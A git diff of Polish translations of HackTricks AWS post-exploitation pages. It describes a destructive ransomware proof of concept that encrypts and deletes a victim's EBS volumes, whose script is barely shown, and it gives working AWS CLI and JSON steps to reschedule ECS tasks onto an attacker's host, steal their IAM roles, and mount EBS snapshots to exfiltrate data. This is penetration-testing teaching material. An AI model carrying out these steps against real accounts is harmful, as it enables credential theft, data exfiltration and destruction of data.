zatrzymuje każdy EC2 instance, odłącza oryginalne EBS volumes, usuwa je i wreszcie usuwa wszystkie snapshots wykorzystane podczas procesu. W efekcie w docelowym koncie 'victim' pozostaną tylko zaszyfrowane EBS volumes. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST ON DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE EBS VOLUMES. Można je odzyskać używając wykorzystanego KMS key i przywrócić do pierwotnego stanu za pomocą snapshots, jednak chcemy Cię uświadomić, że na koniec dnia jest to ransomware PoC. +To jest użyty skrypt python. Przyjmuje AWS creds dla konta 'victim' oraz publicznie dostępny AWS ARN klucza, który ma być użyty do szyfrowania. Skrypt wykona zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS dołączonych do WSZYSTKICH instancji EC2 na docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na końcu usunie wszystkie snapshots wykorzystane podczas procesu. To pozostawi jedynie zaszyfrowane woluminy EBS na docelowym koncie 'victim'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać używając wykorzystanego klucza KMS i przywrócić je do pierwotnego stanu za pomocą snapshots, ale chcę ci tylko uświadomić, że na końcu dnia jest to ransomware PoC. ``` import boto3 import argparse @@ -583,6 +621,8 @@ main() ``` ## Źródła -- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Latacora - ECS on EC2: Pokrywanie luk we wzmacnianiu zabezpieczeń IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- [Latacora ecs-on-ec2-gaps-in-imds-hardening repozytorium Terraform](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) +- [Pentest Partners – Jak przesyłać pliki w AWS za pomocą SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md index 9c6a6e2ca..c60e26fce 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -4,7 +4,7 @@ ## ECS -Więcej informacji sprawdź: +Aby uzyskać więcej informacji, zobacz: {{#ref}} ../../aws-services/aws-ecs-enum.md @@ -12,33 +12,33 @@ Więcej informacji sprawdź: ### Host IAM Roles -W ECS **IAM role can be assigned to the task** uruchomionego wewnątrz kontenera. **If** zadanie jest uruchamiane wewnątrz instancji **EC2**, to sama **EC2 instance** będzie miała przypisaną **kolejną IAM** rolę.\ -To oznacza, że jeśli uda Ci się **compromise** instancję ECS, możesz potencjalnie **obtain the IAM role associated to the ECR and to the EC2 instance**. Po więcej informacji o tym, jak zdobyć te poświadczenia, sprawdź: +W ECS do zadania uruchamianego w kontenerze można przypisać **IAM role**. **Jeśli** zadanie jest uruchomione na instancji **EC2**, sama **instancja EC2** będzie miała przypisaną **inną rolę IAM**.\ +To oznacza, że jeśli uda ci się **przejąć** instancję ECS, możesz potencjalnie **uzyskać IAM role powiązane z ECR i z instancją EC2**. Aby uzyskać więcej informacji o tym, jak zdobyć te poświadczenia, sprawdź: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] -> Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** będzie miała **hop limit of 1**, co uniemożliwia dostęp do EC2 metadata z kontenera znajdującego się wewnątrz instancji EC2. +> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced. ### Privesc to node to steal other containers creds & secrets -Co więcej, EC2 używa docker do uruchamiania ECS tasks, więc jeśli uda Ci się uciec na node lub **access the docker socket**, możesz **check** które **inne kontenery** są uruchomione, a nawet **wejść do nich** i **steal their IAM roles**. +Ponadto EC2 używa docker do uruchamiania zadań ECS, więc jeśli uda ci się uciec na node lub **uzyskać dostęp do docker socket**, możesz **sprawdzić**, które **inne kontenery** są uruchomione, a nawet **dostać się do nich** i **ukraść przypisane im IAM roles**. #### Making containers run in current host -Dodatkowo, **EC2 instance role** zwykle ma wystarczające **permissions** aby **update the container instance state** instancji EC2 używanych jako node'y w klastrze. Atakujący może zmodyfikować **state of an instance to DRAINING**, wtedy ECS **remove all the tasks from it**, a te uruchamiane jako **REPLICA** zostaną **run in a different instance,** potencjalnie wewnątrz **attackers instance**, dzięki czemu może on **steal their IAM roles** oraz ewentualne wrażliwe informacje znajdujące się w kontenerze. +Co więcej, **EC2 instance role** zazwyczaj ma wystarczające **permissions**, aby **zaktualizować container instance state** instancji EC2 używanych jako node'y w klastrze. Atakujący mógłby zmodyfikować **stan instancji na DRAINING**, wtedy ECS **usunie wszystkie tasks z niej**, a te uruchamiane jako **REPLICA** zostaną **uruchomione na innej instancji**, potencjalnie na instancji **atakującego**, dzięki czemu będzie mógł **ukraść ich IAM roles** oraz potencjalnie wrażliwe informacje z wnętrza kontenera. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -Ta sama technika może być wykonana przez **wyrejestrowanie instancji EC2 z klastra**. Jest to potencjalnie mniej dyskretne, ale to **wymusi uruchomienie zadań na innych instancjach:** +Ta sama technika może być wykonana przez **deregistering the EC2 instance from the cluster**. To jest potencjalnie mniej dyskretne, ale spowoduje to **force the tasks to be run in other instances:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Ostatnią techniką zmuszenia do ponownego uruchomienia zadań jest poinformowanie ECS, że **task or container was stopped**. Istnieją 3 potencjalne API, które to umożliwiają: +Ostateczna technika wymuszenia ponownego wykonania zadań polega na zgłoszeniu do ECS, że **task or container was stopped**. Istnieją 3 potencjalne API do tego: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -52,23 +52,23 @@ aws ecs submit-attachment-state-changes ... ``` ### Wykradanie wrażliwych informacji z kontenerów ECR -Instancja EC2 prawdopodobnie będzie też miała uprawnienie `ecr:GetAuthorizationToken`, co pozwala na **pobieranie obrazów** (możesz w nich szukać poufnych informacji). +Instancja EC2 prawdopodobnie będzie również miała uprawnienie `ecr:GetAuthorizationToken`, pozwalające jej **pobrać obrazy** (możesz je przeszukać pod kątem wrażliwych informacji). -### Zamontuj snapshot EBS bezpośrednio w zadaniu ECS (configuredAtLaunch + volumeConfigurations) +### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) -Wykorzystaj natywną integrację ECS z EBS (2024+) aby zamontować zawartość istniejącego EBS snapshot bezpośrednio w nowym zadaniu/usłudze ECS i odczytać jego dane z wnętrza kontenera. +Wykorzystaj natywną integrację ECS z EBS (2024+), aby zamontować zawartość istniejącego snapshotu EBS bezpośrednio w nowym zadaniu/usłudze ECS i odczytać dane z wnętrza kontenera. -- Wymagania (minimum): +- Wymagane (minimum): - ecs:RegisterTaskDefinition - Jedno z: ecs:RunTask OR ecs:CreateService/ecs:UpdateService - iam:PassRole na: -- roli infrastruktury ECS używanej do obsługi woluminów (polityka: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) -- rolach Task execution/Task referencjonowanych w definicji zadania -- Jeśli snapshot jest zaszyfrowany kluczem CMK: uprawnienia KMS dla roli infra (wspomniana powyżej zarządzana polityka AWS zawiera wymagane uprawnienia KMS dla kluczy zarządzanych przez AWS). +- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles referenced by the task definition +- Jeśli snapshot jest zaszyfrowany za pomocą CMK: uprawnienia KMS dla roli infra (zarządzana polityka AWS powyżej zawiera wymagane uprawnienia KMS dla kluczy zarządzanych przez AWS). -- Wpływ: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i eksfiltracja przez sieć/logi. +- Skutek: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i wyeksfiltrowanie przez sieć/logi. Kroki (przykład Fargate): @@ -79,7 +79,7 @@ aws iam create-role --role-name ecsInfrastructureRole \ aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` -2) Zarejestruj definicję zadania z woluminem oznaczonym `configuredAtLaunch` i zamontuj go w kontenerze. Przykład (wypisuje secret, a następnie usypia): +2) Zarejestruj definicję zadania z woluminem oznaczonym `configuredAtLaunch` i zamontuj go w kontenerze. Przykład (wypisuje sekret, a następnie usypia): ```json { "family": "ht-ebs-read", @@ -99,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` -3) Utwórz lub zaktualizuj usługę, przekazując EBS snapshot za pomocą `volumeConfigurations.managedEBSVolume` (wymaga iam:PassRole na roli infra). Przykład: +3) Utwórz lub zaktualizuj usługę, przekazując snapshot EBS za pomocą `volumeConfigurations.managedEBSVolume` (wymaga `iam:PassRole` dla roli infrastruktury). Przykład: ```json { "cluster": "ht-ecs-ebs", @@ -113,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ ] } ``` -4) Gdy zadanie się uruchomi, kontener może odczytać zawartość snapshotu pod skonfigurowaną ścieżką montowania (np. `/loot`). Eksfiltruj przez sieć/logi zadania. +4) Gdy task się uruchomi, container może odczytać zawartość snapshotu w skonfigurowanej ścieżce montowania (np. `/loot`). Eksfiltruj przez sieć/logi zadania. Czyszczenie: ```bash @@ -121,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force aws ecs deregister-task-definition ht-ebs-read ``` +## Źródła + +- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) + {{#include ../../../../banners/hacktricks-training.md}}